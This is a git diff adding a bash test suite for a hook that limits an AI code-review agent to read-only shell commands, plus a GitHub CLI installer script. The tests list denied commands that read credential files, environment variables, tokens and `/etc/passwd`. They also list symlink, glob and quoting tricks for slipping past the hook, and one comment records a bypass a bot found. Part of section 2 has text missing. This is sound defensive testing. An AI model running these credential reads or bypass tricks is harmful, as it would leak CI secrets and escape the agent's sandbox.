+# +# Runnable alone: +# bash .github/claude/deny-shell-escapes.test.sh +# +# Every deny case is a negative control on the permission allowlist: each one is +# a command `settings.json` ALLOWS, because permissions.allow matches a command +# prefix and cannot see a flag or a redirect that comes later. `sort file -o +# out` is admitted by `Bash(sort:*)` and refused by `Bash(sort -o:*)` only when +# the flag is the first argument. +# +# The allow cases matter just as much: a hook that refuses `sort -u file` or +# `git log --oneline` takes the review's own tools away. +set -uo pipefail + +if ! command -v jq > /dev/null 2>&1; then + echo "jq is required for this test (macOS: brew install jq)" >&2 + exit 1 +fi + +HERE=$(cd "$(dirname "$0")" && pwd) +SCRIPT="${SCRIPT:-$HERE/deny-shell-escapes.sh}" + +pass=0 +fail=0 + +# The hook resolves a path argument relative to ITS working directory, so the +# symlink cases below need a case to run in. RUN_DIR is that directory ('.' for +# every other case) and RUN_REVIEW_IN is the $REVIEW_IN the hook reads from its +# own environment (empty everywhere else, which is the CI shape for a step that +# does not set it). +RUN_DIR='' +RUN_REVIEW_IN='' + +# run -> "|" +run() { + local out status + out=$(cd "${RUN_DIR:-.}" || exit 99; printf '%s' "$1" | REVIEW_IN="$RUN_REVIEW_IN" bash "$SCRIPT" 2>&1 >/dev/null) + status=$? + printf '%s|%s' "$status" "$(printf '%s' "$out" | head -1)" +} + +bash_payload() { jq -cn --arg c "$1" '{tool_name:"Bash", tool_input:{command:$c}}'; } + +allowed() { # allowed + local r status + r=$(run "$(bash_payload "$1")") + status="${r%%|*}" + if [ "$status" = "0" ]; then + echo " PASS: allowed $1" + pass=$((pass + 1)) + else + echo " FAIL: allowed $1 (exit $status: ${r#*|})" + fail=$((fail + 1)) + fi +} + +denied() { # denied + local r status reason + r=$(run "$(bash_payload "$1")") + status="${r%%|*}" + reason="${r#*|}" + if [ "$status" = "2" ] && printf '%s' "$reason" | grep -qF "$2"; then + echo " PASS: denied $1" + pass=$((pass + 1)) + else + echo " FAIL: denied $1 (exit $status, reason '$reason'; wanted exit 2 carrying '$2')" + fail=$((fail + 1)) + fi +} + +echo "== 1. The commands the review actually runs are untouched ==" +allowed 'git log --oneline -5' +allowed 'grep -rn foo . | head' +allowed 'rg pattern src' +allowed 'cat a b' +allowed 'sort -u file' +# Word boundaries: these contain the letters but not the commands. +allowed 'grep -rn resort web-ui/src' +allowed 'git log --oneline --format=%h origin/main' +allowed 'jq -r ".files[].path" pr.json' +allowed 'wc -l diff.patch' +allowed 'git diff --stat HEAD~1' +# A pipeline of read-only commands is how the review reads a long file, so the +# pipe rule has to admit every one of these while refusing an unlisted segment. +allowed 'grep -rn foo . | head -20' +allowed 'git log --oneline -5 | cat' +allowed 'rg pattern src | sort | head' +allowed 'git status --short' +# review-prompt.md Step 1.5 runs this command itself, wrapped over two lines +# with a backslash continuation and as one line. A hook that refuses either +# takes the cross-file impact analysis away. +allowed 'grep -rn "SYMBOL_NAME" --include="*.js" --include="*.ts" --include="*.tsx" . \ + | grep -v node_modules | head -20' +allowed 'grep -rn "SYMBOL_NAME" --include="*.js" --include="*.ts" --include="*.tsx" . | grep -v node_modules | head -20' +# A '|' inside quotes is an argument, not a pipeline separator: splitting on it +# makes a segment whose first word is `\.git"`. +allowed 'grep -v "node_modules\|\.git" file' +allowed 'grep "a|b" file | head' +# `env` is only a credential read next to jq; on its own it is a word in a path +# or a search term. +allowed 'grep -rn environment src' +allowed 'rg envelope .' +allowed 'jq -r ".files[].path" in/pr.json' + +echo "== 2. Every escape the allowlist cannot see is refused ==" +denied 'echo hi > probe.sh' "'>' redirects" +denied 'cat <.extraheader. +denied 'grep -rn TOKEN web-ui/src' 'names TOKEN' +denied 'grep -rn SECRET web-ui/src' 'names SECRET' +denied 'grep -rn API_KEY web-ui/src' 'names _KEY' +denied 'grep -rn PASSWORD web-ui/src' 'names PASSWORD' +denied 'printenv' 'printenv reads the environment' +denied 'cat /proc/self/status' '/proc/ exposes the process environment' +denied 'ls environ' "'environ' reads the process environment" +denied 'declare -p' 'declare -p dumps variables' +denied 'export -p' 'export -p dumps the environment' +denied 'set -o' 'set -o dumps shell state' +denied 'cat .git/config' "'.git/' is where the checkout persists the job token" +# jq is allowlisted and reaches the environment by another route: `jq -n env` +# dumps every variable, `$ENV` indexes it. +denied 'jq -n env' 'jq reads the environment' +denied "jq -n '\$ENV'" 'jq reads the environment' +denied "jq -rn '\$ENV.GH_TOKEN'" 'names TOKEN' +# cat is allowlisted too, and the credentials it must not open sit outside the +# checkout. +denied 'cat ~/.claude/.credentials.json' "'~/' reaches outside the checkout" +denied 'cat $HOME/.config/gh/hosts.yml' 'reaches outside the checkout' +denied 'cat /home/runner/.config/gh/hosts.yml' "'/home/' reaches outside the checkout" +denied 'cat /root/.claude/.credentials.json' "'/root/' reaches outside the checkout" +# The arms above match LITERAL text, so an expansion that assembles the same +# path out of characters they cannot see has to be refused on its own. +denied 'cat /home*/runner/.cla*ude/.credential*' "'*' is a glob" +denied 'cat ~runner/.credentials.json' "'.credentials' is a credential file" +denied 'ls ~runner/.config/gh' "'~' expands to a home directory" +# A tilde inside a word is not an expansion, and `HEAD~1` is how the review +# names the parent commit. +allowed 'git show HEAD~1 --stat' +denied 'ls {/home,/root}/x' "'{' is a brace expansion" +denied 'cat "$HOME/x"' 'reaches outside the checkout' +denied 'cat $PATH' '$PATH expands a variable' +denied 'cat ${PATH}' '${PATH} expands a variable' +# `.claude/` and `.config/` in the checkout are files under review, not the home +# directory: 64 tracked files under .claude/ that merged PRs change. Every route +# to the home-directory copies is refused above. +allowed 'cat .claude/settings.json' +allowed 'grep -rn foo .claude/skills' +allowed 'ls .config/gh' +# The variables the review's own prompts expand, quoted and bare. +allowed 'cat "$REVIEW_IN/diff.patch"' +allowed 'jq -r ".files[].path" $REVIEW_IN/pr.json' + +echo "== 2e. Quotes are read the way bash reads them ==" +# A backslash-escaped quote does not close the string. A walker that toggled on +# every quote character desyncs here and hands bash the second command. +denied 'grep "a\"b" f | nl' "'nl' is not one of the commands" +denied 'grep a\"b f | nl' "'nl' is not one of the commands" +# Inside single quotes a '"' is an ordinary character, so this is one command. +allowed "grep 'a\"b' f | head" +allowed "rg 'a|b' src | head" +# A metacharacter inside quotes is an argument; escaped outside quotes it is a +# literal to bash, so it is a literal here too. +allowed 'grep "foo[0-9]" file' +allowed 'grep foo\* f' + +echo "== 2f. A rule reads the word bash would build, not the characters typed ==" +# bash runs the word list left after quote removal and escape processing, so a +# rule that reads the raw string is defeated by one backslash or one empty +# quote per word: neither command below contains the literal '/home/' or +# '.credentials' the arms match, and both open the same files. +denied 'cat /hom\e/runner/.claud\e/.credential\s.json' 'reaches outside the checkout' +denied 'cat /ho""me/runner/.credentials' 'reaches outside the checkout' +denied 'cat /home/runner/.cre""dentials' 'reaches outside the checkout' +denied 'sort file -o\u\t.sh' 'sort -o' +# Quotes that close and reopen inside a word do not split it: `'"'"'a'"'"'b/x` is the one +# word `ab/x`, and it is an ordinary relative path. +allowed "cat 'a'b/x" +allowed 'cat "we"b-ui/src/main.tsx' + +echo "== 2g. Nothing outside the checkout, and nothing that climbs out ==" +# The review reads the checkout plus \$REVIEW_IN / \$REVIEW_OUT, which it spells +# as the variable — the hook never sees the expanded path. So an absolute word +# is out of bounds whatever it names, which closes the service-account token and +# every other absolute path at once rather than one arm at a time. +denied 'cat /var/run/secrets/kubernetes.io/serviceaccount/token' 'absolute path' +denied 'git diff --no-index /etc/passwd /dev/null' 'absolute path' +denied 'cat /usr/lib/x' 'absolute path' +denied 'jq -r ".files[].path" /tmp/in/pr.json' 'absolute path' +denied 'cat ../../etc/passwd' "climbs out of the checkout" +denied 'cat $REVIEW_IN/../../x' "climbs out of the checkout" +denied 'cat $REVIEW_IN/../../claude-trusted/review-prompt.md' "climbs out of the checkout" +# /dev/null is the one absolute path a read-only command has a use for. +allowed 'cat /dev/null' +allowed 'diff a.txt b.txt' + +echo "== 2h. A relative glob is how a model spells a search ==" +# With every absolute word refused, a relative glob can only expand inside the +# checkout, so refusing it bought nothing and cost the review its search. +allowed 'ls web-ui/src/components/*' +allowed 'rg -n "foo" src -g *.ts' +allowed 'grep -rn useEffect web-ui/src/**/*.tsx' +allowed 'ls web-ui/src/components/?ard.tsx' +# A glob in a word that is NOT relative still fails closed: it can assemble a +# path out of characters no literal arm sees. +denied 'cat /home*/runner/.cla*ude/.credential*' "'*' is a glob" +denied 'cat ../*/hosts.yml' "'*' is a glob" + +echo "== 2i. Only the two directories the workflow hands the model expand ==" +# Everything else the review used to interpolate now arrives as a file under +# \$REVIEW_IN, and two of those variables were attacker-controlled strings. +allowed 'cat "$REVIEW_IN/diff.patch"' +allowed 'jq -r ".files[].path" $REVIEW_IN/pr.json' +denied 'cat $HEAD_SHA' '$HEAD_SHA expands a variable' +denied 'cat $PR_NUMBER' '$PR_NUMBER expands a variable' +denied 'grep -rn x $COMMIT_MSG' '$COMMIT_MSG expands a variable' +denied 'cat $TRIGGER_COMMENT' '$TRIGGER_COMMENT expands a variable' +denied 'sort file -o$COMMIT_MSG' 'sort -o' + +echo "== 2j. A word is resolved before it is trusted ==" +# The rules read the word the model typed; the kernel reads what it points at. +# A relative word carries nothing for a literal arm to match, and the PR under +# review writes the tree it resolves in, so a committed +# `link-out -> /var/run/secrets/...` turns `cat link-out` into a credential +# read. These cases run with the hook's working directory set to a scratch +# checkout that holds exactly that. +SCRATCH=$(mktemp -d) +trap 'rm -rf "$SCRATCH"' EXIT +mkdir -p "$SCRATCH/checkout/sub" "$SCRATCH/review-in" +: > "$SCRATCH/checkout/inside.txt" +: > "$SCRATCH/checkout/sub/nested.txt" +: > "$SCRATCH/review-in/pr.json" +ln -s inside.txt "$SCRATCH/checkout/link-in" +ln -s /etc/passwd "$SCRATCH/checkout/link-out" +ln -s "$SCRATCH/review-in/pr.json" "$SCRATCH/checkout/link-review" +ln -s .. "$SCRATCH/checkout/sub/up" +# A committed filename that starts with '-'. After a literal '--' the command +# reads it as an operand, so the hook has to as well. +ln -s /etc/passwd "$SCRATCH/checkout/-leak.md" +: > "$SCRATCH/checkout/-plain.md" +# The same tree seen through a glob: bash expands the pattern before the command +# runs, so `assets/notes.md` is refused while `assets/*.md` opens the same file +# through a word that does not contain its name. +mkdir -p "$SCRATCH/checkout/assets" "$SCRATCH/checkout/clean" \ + "$SCRATCH/checkout/docs" "$SCRATCH/checkout/many" +: > "$SCRATCH/checkout/assets/readme.md" +ln -s /etc/passwd "$SCRATCH/checkout/assets/notes.md" +: > "$SCRATCH/checkout/clean/a.md" +: > "$SCRATCH/checkout/clean/b.md" +: > "$SCRATCH/checkout/docs/plain.txt" +ln -s /etc/no-such-file-for-this-test "$SCRATCH/checkout/docs/dead" +# One past the hook's 500-match cap. +for ((i = 0; i < 501; i++)); do : > "$SCRATCH/checkout/many/f$i.txt"; done + +RUN_DIR="$SCRATCH/checkout" +RUN_REVIEW_IN="$SCRATCH/review-in" +denied 'cat link-out' 'resolves outside the checkout' +denied 'cat link-out | head' 'resolves outside the checkout' +# The out-of-bounds link does not have to be the last component: `sub/up` is a +# link back to the checkout, and the word carries no '..' for the climb rule. +denied 'cat sub/up/link-out' 'resolves outside the checkout' +# A link that stays inside the checkout is an ordinary file, and so is a plain +# one: refusing either would take the review's own reading away. +allowed 'cat link-in' +allowed 'cat inside.txt' +allowed 'cat sub/nested.txt' +allowed 'grep -rn foo .' +# $REVIEW_IN is handed to the model by the workflow, so a link into it is in +# bounds even though it is outside the checkout root. +allowed 'cat link-review' +# A glob names the same files without spelling any of them, so the pattern is +# expanded and every match is resolved. The '*' form is the one the bot found: +# `cat assets/notes.md` was refused and `cat assets/*.md` was not. +denied 'cat assets/*.md' 'resolves outside the checkout' +denied 'cat assets/*.md | head' 'resolves outside the checkout' +denied 'cat assets/?otes.md' 'resolves outside the checkout' +denied 'cat assets/[n]otes.md' 'resolves outside the checkout' +# A dangling link is denied too: it is followed to the path it names, and that +# path is outside the checkout whether or not anything is there. +denied 'ls docs/*' 'resolves outside the checkout' +# Whole matches in the tree: refusing these would take the review's search away. +allowed 'cat clean/*.md' +allowed 'cat clean/[ab].md' +allowed 'ls clean/?.md' +# A pattern that matches nothing is left to the string rules: bash hands it to +# the command literally, and it opens no file. +allowed 'cat nothing-here-*.md' +# A pathological pattern is not a review command, and every match costs a stat. +denied 'ls many/*' 'expands to 501 paths' +# A glob character that was QUOTED is a literal argument, not a pattern. +allowed 'grep "assets/*.md" inside.txt' +# After a literal '--' every later word in that segment is an OPERAND, not a +# flag: `cat -- -leak.md` opens the same file `cat ./-leak.md` does, so skipping +# it as a '-' word let a committed `-leak.md -> /etc/passwd` be read. +denied 'cat -- -leak.md' 'resolves outside the checkout' +denied 'grep -rn root -- -leak.md' 'resolves outside the checkout' +denied 'head -- -leak.md' 'resolves outside the checkout' +denied 'cat -- -leak.md | head' 'resolves outside the checkout' +# The glob form of the same word, expanded before the command runs. +denied 'cat -- -l*.md' 'resolves outside the checkout' +# A post-'--' operand that resolves in the tree is an ordinary file: refusing it +# would take a legitimate read away. +allowed 'cat -- -plain.md' +allowed 'cat -- ./-plain.md' +allowed 'git diff -- inside.txt' +# Without the '--' the tools themselves read `-leak.md` as flags, so the hook's +# flag skip stands and this stays a pass — no file is opened either way. +allowed 'cat -leak.md' +# Spelled as a path it was always refused, and still is. +denied 'cat ./-leak.md' 'resolves outside the checkout' +RUN_DIR='' +RUN_REVIEW_IN='' + +echo "== 2k. The literal value of \$REVIEW_IN is spelled out too ==" +# The workflow substitutes the values into the prompts, because the Read tool +# cannot expand a variable, so the model types the absolute path in Bash as +# readily as the variable. The absolute-path rule has to admit that one prefix +# and nothing else. +: > "$SCRATCH/review-in/files.txt" +RUN_REVIEW_IN="$SCRATCH/review-in" +allowed 'wc -l $REVIEW_IN/files.txt' +allowed "wc -l $SCRATCH/review-in/files.txt" +allowed "cat $SCRATCH/review-in/" +# The exemption is a prefix on the word, so the '..' rule still reads the word: +# $REVIEW_IN/../claude-trusted is where the workflow keeps the prompts. +denied "cat $SCRATCH/review-in/../claude-trusted/x" "climbs out of the checkout" +# A sibling temp directory is not the one the workflow handed the model. +denied 'cat /runner/_work/_temp/other/x' 'absolute path' +# ... and with nothing set, nothing is exempted. +RUN_REVIEW_IN='' +denied "cat $SCRATCH/review-in/files.txt" 'absolute path' + +echo "== 3. A non-Bash tool payload passes straight through ==" +R=$(run '{"tool_name":"Read","tool_input":{"file_path":"a > b"}}') +if [ "${R%%|*}" = "0" ]; then echo " PASS: Read is not this hook's business"; pass=$((pass + 1)); +else echo " FAIL: Read was blocked (${R})"; fail=$((fail + 1)); fi + +R=$(run '{"tool_name":"Grep","tool_input":{"pattern":"$(x)"}}') +if [ "${R%%|*}" = "0" ]; then echo " PASS: Grep is not this hook's business"; pass=$((pass + 1)); +else echo " FAIL: Grep was blocked (${R})"; fail=$((fail + 1)); fi + +echo "== 4. An unreadable payload fails open, not closed ==" +# The CLI writes the payload, not the PR. Wedging every Bash call over a +# harness problem would take the review down while the allowlist still holds. +R=$(run 'not json at all') +if [ "${R%%|*}" = "0" ]; then echo " PASS: garbage stdin does not wedge the session"; pass=$((pass + 1)); +else echo " FAIL: garbage stdin blocked (${R})"; fail=$((fail + 1)); fi + +R=$(run '{"tool_name":"Bash","tool_input":{}}') +if [ "${R%%|*}" = "0" ]; then echo " PASS: a Bash payload with no command is a no-op"; pass=$((pass + 1)); +else echo " FAIL: empty command blocked (${R})"; fail=$((fail + 1)); fi + +echo "== 5. settings.json wires the hook the way the CLI documents it ==" +# Shape verified 2026-09-02 against the CLI binary (2.1.258): "Hooks use a +# matcher + hooks array. The matcher is a string: a tool name ("Bash") ... +# {"PostToolUse": [{"matcher": "Edit|Write", "hooks": [{"type": "command", +# "command": "echo Done"}]}]}" +S="${SETTINGS:-$HERE/settings.json}" +q() { jq -r "$1" "$S"; } +if [ "$(q '.hooks.PreToolUse | length')" = "1" ]; then echo " PASS: one PreToolUse entry"; pass=$((pass + 1)); +else echo " FAIL: PreToolUse is not a one-entry array"; fail=$((fail + 1)); fi +if [ "$(q '.hooks.PreToolUse[0].matcher')" = "Bash" ]; then echo " PASS: matched on the Bash tool"; pass=$((pass + 1)); +else echo " FAIL: matcher is not Bash"; fail=$((fail + 1)); fi +if [ "$(q '.hooks.PreToolUse[0].hooks[0].type')" = "command" ]; then echo " PASS: type is command"; pass=$((pass + 1)); +else echo " FAIL: type is not command"; fail=$((fail + 1)); fi +# The snapshot copy in CI, the working tree locally: a write into the tree that +# gets past the allowlist cannot disable the hook that is meant to catch it. +if [ "$(q '.hooks.PreToolUse[0].hooks[0].command')" = 'bash "${CLAUDE_HOOK_DIR:-.github/claude}/deny-shell-escapes.sh"' ]; then + echo " PASS: it runs this script"; pass=$((pass + 1)); +else echo " FAIL: the command does not run this script"; fail=$((fail + 1)); fi +# The CLI warns "matches no known tool" for a deny rule it does not recognise, +# which would print on every review run. +if [ "$(jq -r '[.permissions.deny[] | select(. == "MultiEdit")] | length' "$S")" = "0" ]; then + echo " PASS: MultiEdit is not in the deny list"; pass=$((pass + 1)); +else echo " FAIL: MultiEdit is back in the deny list"; fail=$((fail + 1)); fi +if [ "$(jq -r 'has("disableAllHooks")' "$S")" = "false" ]; then + echo " PASS: hooks are not switched off wholesale"; pass=$((pass + 1)); +else echo " FAIL: disableAllHooks would disable this hook too"; fail=$((fail + 1)); fi +# The hook refuses both outright, so an allow entry for either is dead weight +# that reads as permission. +if [ "$(jq -r '[.permissions.allow[] | select(. == "Bash(echo:*)" or . == "Bash(printf:*)")] | length' "$S")" = "0" ]; then + echo " PASS: echo and printf are off the allowlist"; pass=$((pass + 1)); +else echo " FAIL: echo or printf is back on the allowlist"; fail=$((fail + 1)); fi +# The Read tool has its own allowlist entry, so the paths it must never open are +# named as deny rules. Rule form verified against origin/main's +# .claude/settings.json:4, which uses `Read(**/.env)`. +if [ "$(jq -r '[.permissions.deny[] | select(. == "Read(.git/**)" or . == "Read(**/.git/**)" or . == "Read(/proc/**)" or . == "Read(~/.gitconfig)" or . == "Read(~/.claude/**)" or . == "Read(~/.config/**)" or . == "Read(/home/**)" or . == "Read(/root/**)")] | length' "$S")" = "8" ]; then + echo " PASS: the credential paths are denied to the Read tool"; pass=$((pass + 1)); +else echo " FAIL: a credential path is readable"; fail=$((fail + 1)); fi + +# The hook refuses every absolute word but /dev/null to Bash; the Read tool +# needs the same fence spelled as deny rules, since it has a blanket allow. +if [ "$(jq -r '[.permissions.deny[] | select(. == "Read(/var/**)" or . == "Read(/etc/**)" or . == "Read(/run/**)" or . == "Read(/sys/**)" or . == "Read(/usr/**)" or . == "Read(/opt/**)" or . == "Read(/tmp/**)" or . == "Read(/dev/**)")] | length' "$S")" = "8" ]; then + echo " PASS: the absolute system paths are denied to the Read tool"; pass=$((pass + 1)); +else echo " FAIL: an absolute system path is readable"; fail=$((fail + 1)); fi + +echo +echo "passed: $pass failed: $fail" +[ "$fail" -eq 0 ] diff --git a/.github/claude/ensure-gh.sh b/.github/claude/ensure-gh.sh new file mode 100644 index 0000000..5aadeaa --- /dev/null +++ b/.github/claude/ensure-gh.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash +# Install the GitHub CLI if the runner image does not carry it. +# Pinned version: an unpinned "latest" download would undo the point of +# pinning the actions themselves. +set -euo pipefail + +if command -v gh >/dev/null 2>&1; then + exit 0 +fi + +GH_VERSION="2.63.0" + +# The runner pool's architecture is not guaranteed, and an amd64 binary on an +# arm64 runner fails at exec time with nothing pointing back to this step. +case "$(uname -m)" in + x86_64) GH_ARCH="amd64" ;; + aarch64 | arm64) GH_ARCH="arm64" ;; + *) echo "::error::Unsupported architecture for the gh download: $(uname -m)" >&2; exit 1 ;; +esac + +curl -fsSL "https://github.com/cli/cli/releases/download/v${GH_VERSION}/gh_${GH_VERSION}_linux_${GH_ARCH}.tar.gz" \ + -o /tmp/gh.tar.gz +mkdir -p /tmp/gh-cli +tar -xzf /tmp/gh.tar.gz -C /tmp/gh-cli --strip-components=1 +echo "/tmp/gh-cli/bin" >> "$GITHUB_PATH" diff --git a/.github/claude/extract-usage.sh b/.github/claude/extract-usage.sh new file mode 100644 index 0000000..17bb1fd --- /dev/null +++ b/.github/claude/extract-usage.sh @@ -0,0 +1,99 @@ +#!/usr/bin/env bash +# Pull one run's token usage out of the action's execution file and write it +# where update-usage-ledger.sh can read it. +# +# Shape, with receipts read 2026-09-02: +# +# anthropics/claude-code-action, base-action/src/execution-file.ts:6,15-26 — +# the action writes `JSON.stringify(messages, null, 2)` to +# $RUNNER_TEMP/claude-execution-output.json and exposes that path as the +# `execution_file` output (execution-file.ts:34-41). `messages` is the SDK +# message stream (run-claude-sdk.ts:186,191,222), whose last element is the +# `type: "result"` message carrying `usage` and `num_turns` +# (run-claude-sdk.ts:140-151,198-199). +# +# The same result object is what `claude -p --output-format json` prints, so +# a file holding one object rather than an array is the other shape this has +# to read. Recorded from the local CLI (2.1.258) into +# fixtures/claude-result.json: `usage.input_tokens`, +# `usage.output_tokens`, `usage.cache_read_input_tokens`, +# `usage.cache_creation_input_tokens`, `num_turns`, `modelUsage`. +# +# Both shapes are handled, plus the case where the stream was cut off before a +# result message: there the assistant messages' own `message.usage` is summed +# instead, so a run killed at the step cap still reports what it spent. +# +# Never fatal. A review that posted fine must not be failed by an accounting +# step, so a missing or unreadable file writes `unknown` values and exits 0 +# with a ::warning::. The ledger distinguishes unknown from zero. +# +# Env in: EXECUTION_FILE (path from the action's `execution_file` output), +# REVIEW_OUT. +# Arg 1: label — `review` or `verify`. +# Writes: $REVIEW_OUT/usage-